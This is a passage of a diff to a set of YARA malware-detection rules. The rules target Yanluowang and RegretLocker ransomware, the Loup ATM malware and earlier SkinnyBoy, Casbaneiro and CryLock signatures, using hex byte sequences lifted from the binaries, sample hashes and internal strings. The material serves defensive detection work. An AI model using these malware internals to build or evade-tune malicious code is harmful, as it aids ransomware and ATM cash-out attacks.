ea 03 6b ca 19 2b d9 b9 3c 00 00 00 83 c3 0a ff 15 2f 3c 02 00 ff 15 c1 58 01 00 8b c8 e8 8a 41 00 00 e8 59 41 00 00 44 8b f0 b8 ab aa aa aa 41 f7 e6 c1 ea 02 8d 0c 52 03 c9 44 2b f1 b9 3c 00 00 00 41 81 c6 d7 07 00 00 ff 15 f5 3b 02 00 ff 15 87 58 01 00 8b c8 e8 50 41 00 00 e8 1f 41 00 00 44 8b e8 b8 ab aa aa aa 41 f7 e5 c1 ea 03 8d 0c 52 c1 e1 02 44 2b e9 b9 3c 00 00 00 41 ff c5 ff 15 be 3b 02 00 ff 15 50 58 01 00 8b c8 e8 19 41 00 00 e8 e8 40 00 00 44 8b c0 b8 09 cb 3d 8d 41 f7 e0 c1 ea 04 6b ca 1d 44 2b c1 b9 7d 00 00 00 41 ff c0 44 89 44 24 74 e8 3e 3b 00 00 33 d2 44 8d 42 7d 48 8b c8 e8 d0 64 00 00 4c 8d 44 24 70 48 8d 0d d4 ce 01 00 ba 7c 00 00 00 c7 44 24 70 00 00 00 00 e8 c2 27 00 00 44 8b 44 24 70 48 8b d0 48 8b c8 48 89 44 24 78 e8 3d 25 00 00 48 8b 44 24 78 4c 8d 45 90 48 8b d0 4c 2b c0 0f 1f 40 00 66 66 0f 1f 84 00 00 00 00 00 0f b6 0a 48 8d 52 01 41 88 4c 10 ff 84 c9 75 f0 48 8b c8 e8 88 3a 00 00 8b 44 24 74 44 89 64 24 48 89 5c 24 40 89 44 24 38 44 89 6c 24 30 48 8d 55 90 44 8b cf 41 b8 04 00 00 00 49 8b cf 44 89 74 24 28 89 74 24 20 e8 b4 39 00 00 e9 5d 03 00 00 b9 3c 00 00 00 ff 15 cc 3a 02 00 ff 15 5e 57 01 00 8b c8 e8 27 40 00 00 e8 f6 3f 00 00 b9 79 00 00 00 8b d8 83 e3 03 e8 63 3a 00 00 33 d2 44 8d 42 79 48 8b c8 e8 f5 63 00 00 4c 8d 44 24 70 48 8d 0d 79 cd 01 00 ba 78 00 00 00 c7 44 24 70 00 00 00 00 e8 e7 26 00 00 44 8b 44 24 70 48 8b d0 48 8b c8 4c 8b f0 e8 64 24 00 00 4c 8d 45 90 49 8b d6 4d 2b c6 66 66 0f 1f 84 00 00 00 00 00 0f b6 0a 48 8d 52 01 41 88 4c 10 ff 84 c9 75 f0 49 8b ce e8 b8 39 00 00 44 89 64 24 38 8d 43 04 89 44 24 30 44 8d 4b 08 48 8d 55 90 41 b8 04 00 00 00 49 8b cf 89 74 24 28 89 } + $seq3 = { 48 89 5c 24 18 55 56 57 48 83 ec 70 48 8b 05 9d fe 01 00 48 33 c4 48 89 44 24 60 33 c0 48 8b d9 8b fa 8d 48 20 c6 44 24 48 00 48 89 44 24 49 48 89 44 24 51 e8 d7 31 00 00 48 8d 15 44 c6 01 00 48 8b f0 33 c0 48 8d 4c 24 48 48 89 06 48 89 46 08 48 89 46 10 4c 8b c3 48 89 46 18 e8 3f 13 00 00 48 8d 4c 24 48 ff 15 ac 50 01 00 bd 02 00 00 00 0f b7 cf 89 44 24 3c 66 89 6c 24 38 ff 15 a5 2e 02 00 8d 55 ff 44 8d 45 04 8b cd 66 89 44 24 3a ff 15 01 32 02 00 48 8b f8 48 83 f8 ff 75 20 48 8d 15 e1 c5 01 00 48 8b ce e8 81 30 00 00 48 0b df 48 ff c3 80 3c 1e 00 75 f7 e9 c9 00 00 00 48 8d 54 24 38 41 b8 10 00 00 00 48 8b c8 ff 15 f4 31 02 00 83 f8 ff 75 6b 48 8d 15 a8 c5 01 00 48 8b ce e8 48 30 00 00 48 83 cb } + $seq4 = { 40 55 48 8d ac 24 e0 fb ff ff 48 81 ec 20 05 00 00 48 8b 05 b8 fc 01 00 48 33 c4 48 89 85 10 04 00 00 48 8d 8d f1 00 00 00 33 d2 41 b8 03 01 00 00 c6 85 f0 00 00 00 00 e8 93 59 00 00 48 8d 8d 01 02 00 00 33 d2 41 b8 07 02 00 00 c6 85 00 02 00 00 00 e8 78 59 00 00 48 8d 4d e1 33 d2 41 b8 03 01 00 00 c6 45 e0 00 e8 63 59 00 00 48 8d 95 f0 00 00 00 41 b8 f4 01 00 00 33 c9 ff 15 2e 30 02 00 85 c0 0f 84 5e 01 00 00 48 8d 55 e0 b9 f4 01 00 00 48 89 9c 24 30 05 00 00 48 89 bc 24 38 05 00 00 ff 15 17 30 02 00 4c 8d 05 20 15 02 00 48 8d 4d e0 ba 04 01 00 00 e8 5a 37 00 00 48 8d 45 e0 4c 8d 0d f7 14 02 00 48 89 44 24 28 48 8d 85 f0 00 00 00 4c 8d 85 f0 00 00 00 48 8d 15 dd c3 01 00 48 8d 8d 00 02 00 00 48 89 44 24 20 e8 fc 10 00 00 33 ff 48 8d 4d e0 48 89 7c 24 30 44 8d 47 03 45 33 c9 ba 00 00 00 40 c7 44 24 28 80 00 00 00 c7 44 24 20 02 00 00 00 ff 15 6f 2f 02 00 48 8b d8 } + $seq5 = { 48 89 5c 24 10 48 89 74 24 18 48 89 7c 24 20 55 48 8d ac 24 70 f2 ff ff 48 81 ec 90 0e 00 00 48 8b 05 da ed 01 00 48 33 c4 48 89 85 80 0d 00 00 48 8b f1 48 8d 8d 81 05 00 00 33 d2 41 b8 ff 07 00 00 c6 85 80 05 00 00 00 e8 b2 4a 00 00 48 8d 4d 71 33 d2 41 b8 03 01 00 00 c6 45 70 00 e8 9d 4a 00 00 33 c0 c6 44 24 50 00 39 05 f4 1c 02 00 89 44 24 51 75 0b e8 b5 dd ff ff 89 05 e3 1c 02 00 48 8d 4d 70 e8 c6 e3 ff ff 8b 05 e8 b5 01 00 48 8d 8d 81 01 00 00 89 44 24 50 0f b6 05 da b5 01 00 33 d2 41 b8 ff 03 00 00 c6 85 80 01 00 00 00 88 44 24 54 e8 46 4a 00 00 48 8d 15 3f b6 01 00 48 8d 8d 80 01 00 00 e8 b3 1f 00 00 48 8d 4d 90 33 d2 0f 10 05 b6 b6 01 00 0f 10 0d bf b6 01 00 41 b8 d4 00 00 00 0f 29 44 24 60 0f 29 4c 24 70 0f 10 05 b8 b6 01 00 0f 29 45 80 e8 ff 49 00 00 48 83 cb ff 48 8b c3 0f 1f 84 } condition: - uint16( 0 ) == 0x5a4d and filesize > 40KB and 5 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 60KB and 4 of ( $seq* ) } -rule ARKBIRD_SOLG_MAL_Skinnyboy_Launcher_Jun_2021_1 : FILE +rule ARKBIRD_SOLG_RAN_Yanluowang_Dec_2021_1 : FILE { meta: - description = "Detect the Launcher of SkinnyBoy" + description = "Detect Yanluowang ransomware" author = "Arkbird_SOLG" - id = "4e69cba4-92ef-5ea5-95d8-b22ed77f515c" - date = "2021-06-05" - modified = "2021-06-06" - reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-06/APT28/MAL_SkinnyBoy_Launcher_Jun_2021_1.yara#L1-L19" + id = "339d3dab-9bdd-5a46-8261-c32862ccc3bf" + date = "2021-12-17" + modified = "2021-12-18" + reference = "https://samples.vx-underground.org/samples/Families/YanluowangRansomware/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-18/RAN_Yanluowang_Dec_2021_1.yara#L1-L20" license_url = "N/A" - logic_hash = "4d5906832a1bc90552255ada1cc9e3c7cd3e14e4b0cb11b1bf2c11c57bca8ad8" + logic_hash = "0144874fb24411b4378a2e2992934e674808f01ecc38f23d0d9d37e1d45621e4" score = 75 quality = 75 tags = "FILE" - hash1 = "2a652721243f29e82bdf57b565208c59937bbb6af4ab51e7b6ba7ed270ea6bce" - tlp = "White" - adversary = "APT28" + hash1 = "49d828087ca77abc8d3ac2e4719719ca48578b265bbb632a1a7a36560ec47f2d" + hash2 = "d11793433065633b84567de403c1989640a07c9a399dd2753aaf118891ce791c" + tlp = "white" + adversary = "-" strings: - $s1 = { 55 8b ec 83 e4 f8 81 ec bc 06 00 00 a1 00 e0 40 00 33 c4 89 84 24 b8 06 00 00 53 56 57 33 c0 68 06 02 00 00 50 66 89 84 24 b8 02 00 00 8d 84 24 ba 02 00 00 50 8b f1 e8 64 31 00 00 8b 1d 28 90 40 00 0f 57 c0 83 c4 0c 8d 84 24 9c 02 00 00 50 c7 84 24 a0 02 00 00 79 00 00 00 66 0f d6 84 24 a4 02 00 00 66 0f d6 84 24 ac 02 00 00 c7 84 24 78 02 00 00 57 00 00 00 66 0f d6 84 24 7c 02 00 00 66 0f d6 84 24 84 02 00 00 ff d3 8b d0 33 c9 89 15 38 fb 40 00 85 d2 74 1b 8d 9b 00 00 00 00 66 8b 84 4c 74 02 00 00 66 31 84 4c 9c 02 00 00 41 3b ca 72 eb a1 80 cd 40 00 89 84 24 88 02 00 00 0f b7 05 84 cd 40 00 66 89 84 24 8c 02 00 00 a1 88 cd 40 00 89 84 24 74 02 00 00 0f b7 05 8c cd 40 00 66 89 84 24 78 02 00 00 0f 57 c0 8d 84 24 88 02 00 00 50 66 0f d6 84 24 92 02 00 00 c7 84 24 9a 02 00 00 00 00 00 00 66 c7 84 24 9e 02 00 00 00 00 66 0f d6 84 24 7e 02 00 00 c7 84 24 86 02 00 00 00 00 00 00 66 c7 84 24 8a 02 00 00 00 00 ff d3 8b d0 33 c9 89 15 38 fb 40 00 } - $s2 = { 66 8b 84 4c 74 02 00 00 66 31 84 4c 88 02 00 00 41 3b ca 72 eb 6a 64 6a 08 ff 15 30 90 40 00 50 ff 15 34 90 40 00 8b 1d 3c 90 40 00 89 44 24 0c 56 8d 84 24 b4 02 00 00 50 ff d3 8b 3d 44 91 40 00 8d 84 24 b0 02 00 00 50 ff d7 68 90 cd 40 00 8d 84 24 b4 02 00 00 50 ff d3 8d 44 24 20 50 8d 84 24 b4 02 00 00 50 ff 15 40 90 40 00 8b f0 8d 84 24 b0 02 00 00 50 89 74 24 14 ff 15 40 91 40 00 8d 84 24 b0 02 00 00 50 ff d7 83 fe ff 0f 84 21 02 00 00 8b 35 2c 90 40 00 8d 9b 00 00 00 00 8d 84 24 9c 02 00 00 50 8d 44 24 50 50 ff d6 85 } - $s3 = { ff 15 20 90 40 00 8d 44 24 14 50 6a 00 6a 00 68 0c 80 00 00 ff 74 24 28 ff 15 04 90 40 00 ff 15 20 90 40 00 6a 00 56 8d 44 24 54 50 ff 74 24 20 ff 15 14 90 40 00 ff 15 20 90 40 00 6a 00 8d 44 24 20 50 ff 74 24 14 c7 44 24 28 64 00 00 00 6a 02 ff 74 24 24 ff 15 10 90 40 00 ff 74 24 14 ff 15 00 90 40 00 6a 00 ff 74 24 1c ff 15 0c 90 40 00 8b 74 24 1c 8b 4c 24 0c ba 90 ed 40 00 83 ee } - $s4 = { 0f b7 8c 05 f8 fd ff ff 66 31 8c 05 f8 fe ff ff 0f b7 8c 05 fa fd ff ff 66 31 8c 05 fa fe ff ff 0f b7 8c 05 fc fd ff ff 66 31 8c 05 fc fe ff ff 0f b7 8c 05 fe fd ff ff 66 31 8c 05 fe fe ff ff 83 c0 08 3d 00 01 00 00 72 b6 56 8d 85 f8 fe ff ff 50 8d 85 f0 fb ff ff 68 08 02 00 00 50 e8 ed 04 00 00 6a 44 8d 85 98 fb ff ff 6a 00 50 e8 ed 31 00 00 83 c4 1c 8d 85 e0 fb ff ff 50 8d 85 98 fb ff ff 50 6a 00 6a 00 68 00 00 00 08 6a 00 6a 00 6a 00 8d 85 f0 fb ff ff 50 6a 00 c7 85 98 fb ff ff 44 00 00 00 ff 15 38 90 40 00 8b 4d fc 33 cd 5e e8 b9 04 00 00 8b e5 } - $s5 = { 55 8b ec 81 ec 6c 04 00 00 a1 00 e0 40 00 33 c5 89 45 fc 56 33 c0 68 06 02 00 00 50 66 89 85 f0 fb ff ff 8d 85 f2 fb ff ff 50 8b f1 e8 8f 33 00 00 68 04 01 00 00 8d 85 f0 fb ff ff 6a 00 50 e8 7c 33 00 00 83 c4 18 56 ff 15 48 91 40 00 85 c0 0f 84 b6 01 00 00 b8 69 00 00 00 68 d2 00 00 00 66 89 85 24 ff ff ff 8d 85 26 ff ff ff 6a 00 50 c7 85 f8 fe ff ff 1f 00 16 00 c7 85 fc fe ff ff 0b 00 22 00 c7 85 00 ff ff ff 78 00 7c 00 c7 85 04 ff ff ff 00 00 55 00 c7 85 08 ff ff ff 5b 00 2e 00 c7 85 0c ff ff ff 3f 00 03 00 c7 85 10 ff ff ff 04 00 04 00 c7 85 14 ff ff ff 0d 00 15 00 c7 85 18 ff ff ff 47 00 44 00 c7 85 1c ff ff ff 47 00 14 00 c7 85 20 ff ff ff 09 00 68 00 e8 dd 32 00 00 f3 0f 7e 05 48 cd 40 00 66 0f d6 85 f8 fd ff ff f3 0f 7e 05 50 cd 40 00 66 0f d6 85 00 fe ff ff f3 0f 7e 05 58 cd 40 00 66 0f d6 85 08 fe ff ff f3 0f 7e 05 60 cd 40 00 66 0f d6 85 10 fe ff ff f3 0f 7e 05 68 cd 40 00 68 d0 00 00 00 66 0f d6 85 18 fe ff ff f3 0f 7e 05 70 cd 40 00 8d 85 28 fe ff ff 6a 00 50 66 0f d6 85 20 fe ff ff e8 6a 32 00 00 83 c4 18 33 } - $s6 = { 0f b7 8c 05 f8 fd ff ff 66 31 8c 05 f8 fe ff ff 0f b7 8c 05 fa fd ff ff 66 31 8c 05 fa fe ff ff 0f b7 8c 05 fc fd ff ff 66 31 8c 05 fc fe ff ff 0f b7 8c 05 fe fd ff ff 66 31 8c 05 fe fe ff ff 83 c0 08 3d 00 01 00 00 72 b6 56 8d 85 f8 fe ff ff 50 8d 85 f0 fb ff ff 68 08 02 00 00 50 e8 ed 04 00 00 6a 44 8d 85 98 fb ff ff 6a 00 50 e8 ed 31 00 00 83 c4 1c 8d 85 e0 fb ff ff 50 8d 85 98 fb ff ff 50 6a 00 6a 00 68 00 00 00 08 6a 00 6a 00 6a 00 8d 85 f0 fb ff ff 50 6a 00 c7 85 98 fb ff ff 44 00 00 00 ff 15 38 90 40 00 8b 4d fc 33 cd 5e e8 b9 04 00 00 8b e5 } + $s1 = { 6a 00 68 7b 4d 45 00 e8 52 2a 00 00 6a 00 6a 00 68 44 58 45 00 68 78 58 45 00 68 d8 56 45 00 c6 45 fc 15 8b 3d d8 71 44 00 6a 00 ff d7 6a 00 6a 00 68 80 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 a0 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 b8 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 cc 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 e4 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 fc 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 10 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 2c 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 40 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 54 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 68 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 88 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 a0 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 b8 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 d0 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 ec 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 00 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 14 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 28 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 40 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 54 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 80 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 68 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 7c 5a 45 00 68 78 58 45 00 } + $s2 = { 83 bd d4 ee ff ff 10 8d 85 c0 ee ff ff 51 0f 43 85 c0 ee ff ff 8d 8d 90 ee ff ff 50 6a 30 68 a0 56 45 00 8d 85 c0 ee ff ff 50 ff b5 e8 ee ff ff e8 83 45 00 00 83 bd a4 ee ff ff 10 8d 85 90 ee ff ff 6a 00 0f 43 85 90 ee ff ff 6a 00 50 68 d4 56 45 00 68 d8 56 45 00 6a 00 ff d7 8b 95 a4 ee ff ff 83 fa 10 72 2f 8b 8d 90 ee ff ff 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc } + $s3 = { 68 00 00 00 f0 6a 01 6a 00 6a 00 8d 85 5c ee ff ff 50 ff 15 14 70 44 00 8d 85 40 ee ff ff 50 57 6a 01 ff b5 5c ee ff ff ff 15 40 70 44 00 8b 35 1c 70 44 00 8d 85 60 ec ff ff 6a 20 50 6a 00 6a 00 6a 01 6a 00 ff b5 40 ee ff ff c7 85 e8 ee ff ff 20 00 00 00 c7 85 60 ec ff ff 20 00 00 00 ff d6 ff b5 60 ec ff ff e8 1f cc 01 00 8b 8d 50 ec ff ff 83 c4 04 89 85 4c ec ff ff 0f 10 01 0f 11 00 0f 10 41 10 8d 8d e8 ee ff ff 0f 11 40 10 ff b5 60 ec ff ff 51 50 6a 00 6a 01 6a 00 ff b5 40 ee ff ff ff d6 8d 85 6c ec ff ff 33 ff 50 57 6a 01 68 80 00 00 00 ff b5 4c ec ff ff 89 bd 40 ec ff ff 89 bd bc ee ff ff ff 15 3c 70 44 00 85 c0 74 47 ff b5 6c ec ff ff e8 ae cb 01 00 83 c4 04 8b f0 8d 85 6c ec ff ff 89 b5 bc ee ff ff 50 56 6a 01 68 80 00 00 00 ff b5 4c ec ff ff ff 15 3c 70 44 00 85 } + $s4 = { 8b ec 6a ff 68 2b 52 44 00 64 a1 00 00 00 00 50 81 ec 8c 02 00 00 a1 c0 c8 45 00 33 c5 89 45 f0 56 57 50 8d 45 f4 64 a3 00 00 00 00 6a 05 33 c0 c7 45 c0 00 00 00 00 68 84 57 45 00 8d 4d c0 c7 45 d0 00 00 00 00 c7 45 d4 07 00 00 00 66 89 45 c0 e8 59 3f 00 00 c7 45 fc 00 00 00 00 8d 4d d8 6a 03 33 c0 c7 45 d8 00 00 00 00 68 90 57 45 00 c7 45 e8 00 00 00 00 c7 45 ec 07 00 00 00 66 89 45 d8 e8 28 3f 00 00 6a 00 6a 0f c7 45 fc 01 00 00 00 ff 15 98 70 44 00 8b f0 89 b5 74 fd ff ff 83 fe ff 0f 84 2c 02 00 00 a1 9c 70 44 00 8d 7d c0 8b 0d 48 70 44 00 89 85 7c fd ff ff a1 80 70 44 00 89 85 78 fd ff ff a1 4c 70 44 00 89 85 80 fd ff ff a1 90 70 44 00 c7 85 88 fd ff ff 00 00 00 00 89 bd 84 fd ff ff 89 8d 6c fd ff ff 89 85 70 fd ff ff 66 66 66 } condition: - uint16( 0 ) == 0x5a4d and filesize > 40KB and 5 of ( $s* ) + uint16( 0 ) == 0x5A4D and filesize > 100KB and all of ( $s* ) } -rule ARKBIRD_SOLG_Malware_Casbaneiro_MSI : FILE + +rule ARKBIRD_SOLG_Mal_ATM_Loup_Aug_2020_1 : FILE { meta: - description = "Detect MSIPackage used by Casbaneiro" + description = "Detect ATM malware Loup by theirs strings." author = "Arkbird_SOLG" - id = "47a5ea47-f799-5467-a482-9816c0de3ecf" - date = "2020-06-05" - modified = "2020-06-05" - reference = "https://twitter.com/JAMESWT_MHT/status/1268811438707159040" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-05/Casbaneiro/Casbaneiro_stealer.yar#L3-L22" + id = "07c0fe02-a82a-58a7-8776-748a1c986f93" + date = "2020-08-17" + modified = "2020-08-18" + reference = "https://twitter.com/r3c0nst/status/1295275546780327936" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-17/Loup/Mal_ATM_Loup_Aug_2020_1.yar#L3-L34" license_url = "N/A" - logic_hash = "fa1c53268d51b4b34b4cf4cd84ddb43ffba1dfa8bbe73cd7506f5e31e970855b" + logic_hash = "18e4d6af5d89746b42c87d7311e442f61deff3bfcbf57cc008d87290e91baafb" score = 75 - quality = 71 + quality = 67 tags = "FILE" - hash1 = "8e77a2e1d30600db01a8481d232b601581faee02b7ec44c1ad9d74ec3544ba7d" + hash1 = "6c9e9f78963ab3e7acb43826906af22571250dc025f9e7116e0201b805dc1196" strings: - $x1 = "C:\\Branch\\win\\Release\\custact\\x86\\vmdetect.pdb" fullword ascii - $s2 = "C:\\Branch\\win\\Release\\custact\\\\x86\\AICustAct.pdb" fullword ascii - $s3 = ";!@Install@!UTF-8!\\nTitle=\"Mozilla Firefox\"\\nRunProgram=\"setup-stub.exe\"\\n;!@InstallEnd@!7z" fullword ascii - $s4 = "__MOZCUSTOM__:campaign%3D%2528not%2Bset%2529%26content%3D%2528not%2Bset%2529%26medium%3Dreferral%26source%3Dwww.google.com" fullword ascii - $s5 = "https://www.mozilla.com0\\r" fullword wide - $s6 = "__CxxFrameHandler" fullword ascii - $s7 = "release+certificates@mozilla.com" fullword ascii - $s8 = "setup-stub.exe" fullword ascii - $s9 = "7zS.sfx.exe" fullword ascii + $pdb1 = "C:\\Users\\muham\\source\\repos\\loup\\Debug\\loup.pdb" fullword ascii + $pdb2 = "PDBOpenValidate5" fullword ascii + $dbg1 = "Run-Time Check Failure #%d - %s" fullword ascii + $dbg2 = "Unknown Filename" fullword ascii + $dbg3 = "Unknown Module Name" fullword ascii + $info1 = "%s%s%p%s%zd%s%d%s%s%s%s%s" fullword ascii + $info2 = { 41 64 64 72 65 73 73 3a 20 30 78 } + $info3 = { 53 69 7a 65 3a } + $info4 = { 44 61 74 61 3a } + $s1 = "MSXFS.dll" fullword ascii + $s2 = "WFSExecute" fullword ascii + $s3 = "WfsVersion" fullword ascii + $s4 = "SvcVersion" fullword ascii + $s5 = "SpiVersion" fullword ascii + $s6 = "CurrencyDispenser1" fullword ascii + $s7 = "WFSUnlock" fullword ascii + $s8 = "WFSFreeResult" fullword ascii + $s9 = "WFSCleanUp" fullword ascii + $s10 = "WFSOpen" fullword ascii + $s11 = "WFSClose" fullword ascii + $s12 = "WFSStartUp" fullword ascii condition: - uint16( 0 ) == 0xd0cf and filesize > 100KB and 7 of them + uint16( 0 ) == 0x5a4d and filesize < 20KB and ( pe.imphash ( ) == "190fc01f66c40478aa91be89a98c57e9" and ( 1 of ( $pdb* ) and 2 of ( $dbg* ) and 2 of ( $info* ) and 9 of ( $s* ) ) ) } -rule ARKBIRD_SOLG_RAN_Crylock_Oct_2020_1 : FILE +rule ARKBIRD_SOLG_Ran_Regretlocker_Oct_2020_1 : FILE { meta: - description = "Detect CryLock ransomware V2.0.0" + description = "Detect RegretLocker ransomware" author = "Arkbird_SOLG" - id = "642211e0-b5fe-5842-ab16-ca1fc8d00ac0" - date = "2020-10-14" - modified = "2020-10-15" - reference = "https://twitter.com/JAMESWT_MHT/status/1316426560803680257" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-15/Crylock/RAN_CryLock_Oct_2020_1.yar#L1-L31" + id = "a8d58402-15e2-5d20-8d33-2e7a3f8973fd" + date = "2020-11-04" + modified = "2020-11-04" + reference = "https://twitter.com/VK_Intel/status/1323693700371914753" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-04/RegretLocker/Ran_RegretLocker_Oct_2020_1.yar#L1-L24" license_url = "N/A" - logic_hash = "5d9aae41283c5738f2e584ea8d236ae64f7615ec629f9513fddb611714ddc230" + logic_hash = "2c63bdcee6f2a9025d3a1f73f3a38ec58da103752b88bd3a6bf79d85d8f92e4d" score = 75 - quality = 71 + quality = 75 tags = "FILE" - hash1 = "04d8109c6c78055d772c01fefe1e5f48a70f2a65535cff17227b5a2c8506b831" + hash1 = "a188e147ba147455ce5e3a6eb8ac1a46bdd58588de7af53d4ad542c6986491f4" strings: - $s1 = "All commands sended to execution" fullword ascii - $s2 = "Processesblacklist1" fullword ascii - $s3 = "Execute all" fullword ascii - $s4 = "config.txt" fullword ascii - $debug1 = "Processed files: " fullword ascii - $debug2 = "Next -->" fullword ascii - $debug3 = "Status: scan network" fullword ascii - $debug4 = { 49 45 28 41 4c 28 22 25 73 22 2c 34 29 2c 22 41 4c 28 5c 22 25 30 3a 73 5c 22 2c 33 29 22 2c 22 4a 4b 28 5c 22 25 31 3a 73 5c 22 2c 5c 22 25 30 3a 73 5c 22 29 22 29 } - $debug5 = { 4a 75 6d 70 49 44 28 22 22 2c 22 25 73 22 29 } - $debug6 = { 45 6e 63 72 79 70 74 65 64 20 62 79 20 42 6c 61 63 6b 52 61 62 62 69 74 2e 20 28 [3-10] 29 } - $ran1 = "w_to_decrypt.hta" wide - $ran2 = "<%UNDECRYPT_DATETIME%>" fullword ascii - $ran3 = "<%START_DATETIME%>" fullword ascii - $ran4 = "<%MAIN_CONTACT%>" fullword ascii - $ran5 = "<%RESERVE_CONTACT%>" fullword ascii - $ran6 = "<%HID%>" fullword ascii + $seq1 = { b8 05 dd 44 00 e8 07 7d 00 00 81 ec b0 06 00 00 53 56 33 db c7 45 cc 07 00 00 00 33 c0 89 5d c8 57 66 89 45 b8 40 c7 85 7c ff ff ff 02 00 00 00 c7 45 e0 ec 4a 98 ec 8d 75 e0 c7 45 e4 f9 a0 e9 47 8d 7d 80 c7 45 e8 90 1f 71 41 c7 45 ec 5a 66 34 5b 89 45 90 89 45 b0 89 45 b4 8d 45 d0 50 a5 8d 45 b0 50 53 68 00 00 3f 00 ff 75 0c a5 8d 85 7c ff ff ff 50 89 5d fc a5 a5 e8 76 50 00 00 85 c0 74 32 ff 15 74 00 45 00 50 68 88 1b 45 00 e8 ab de ff ff 8b 75 08 8d 45 b8 59 59 88 5d f0 8b ce ff 75 f0 89 5e 10 50 89 5e 14 e8 bb 50 ff ff e9 cb 01 00 00 53 8d 45 90 50 53 6a 04 53 ff 75 d0 e8 35 50 00 00 85 c0 74 08 50 68 bc 1b 45 00 eb bd 33 c0 8d bd 4c fb ff ff b9 82 00 00 00 be 04 01 00 00 f3 ab 8d 85 4c fb ff ff 89 75 d4 50 8d 45 d4 83 cb ff 50 ff 75 d0 e8 02 50 00 00 83 65 e8 00 8d 4d d8 33 c0 6a 07 5f 66 89 45 d8 8d 85 4c fb ff ff 50 89 7d ec e8 c6 6d ff ff 6a ff 68 f4 1b 45 00 8d 4d d8 c6 45 fc 01 e8 fd e8 ff ff 83 f8 ff 74 38 83 65 a8 00 33 c9 6a ff 50 8d 45 d8 66 89 4d 98 50 8d 4d 98 89 7d ac e8 3d df ff ff 83 7d ac 08 8d 45 98 0f 43 45 98 50 e8 bc 58 02 00 59 8d 4d 98 8b d8 e8 dd 69 ff ff 56 8d 85 54 fd ff ff 50 ff 15 f0 00 45 00 8b f8 8d 85 54 fd ff ff 50 8d 4d d8 e8 57 6d ff ff 8b 4d ec 8d 45 d8 8b 55 d8 83 f9 08 8b 75 e8 0f 43 c2 66 83 7c 70 fe 5c 75 16 83 f9 08 8d 45 d8 0f 43 c2 33 c9 66 89 4c 70 fe 8b 4d ec 8b 55 d8 83 f9 08 8d 45 d8 0f 43 c2 33 c9 51 51 6a 03 51 6a 03 51 50 ff 15 dc 00 45 00 8b f0 83 fe ff 74 7e 33 c9 8d 45 d4 51 50 68 04 01 00 00 8d 85 5c ff ff ff 50 51 51 68 00 00 56 00 56 ff 15 84 01 45 00 39 9d 64 ff ff ff 75 2c 8d 45 d4 50 68 04 01 00 00 8d 85 44 f9 ff ff 50 8d 85 54 fd ff ff 50 ff 15 08 01 45 00 8d 85 44 f9 ff ff 50 8d 4d b8 e8 b1 6c ff ff 56 ff 15 a8 00 45 00 68 04 01 00 00 8d 85 54 fd ff ff 50 57 ff 15 f8 00 45 00 85 c0 0f 85 29 ff ff ff 57 ff 15 fc 00 45 00 8b 75 08 33 c0 88 45 f0 8b ce ff 75 f0 89 46 10 89 46 14 8d 45 b8 50 e8 f3 4e ff ff 8d 4d d8 e8 cb 68 ff ff 8d 4d b8 e8 c3 68 ff ff 8b 4d f4 8b c6 5f 5e 5b 64 89 0d 00 00 00 00 c9 } + $seq2 = { 89 7d e4 e8 d5 a9 ff ff c7 04 24 88 02 00 00 6a 40 ff 15 28 01 45 00 8b f0 c7 45 d4 88 02 00 00 8d 45 d4 89 75 e8 50 56 e8 78 1b 00 00 83 f8 6f 75 17 56 ff 15 2c 01 45 00 ff 75 d4 6a 40 ff 15 28 01 45 00 8b f0 89 45 e8 8d 45 d4 50 56 e8 52 1b 00 00 85 c0 0f 84 } + 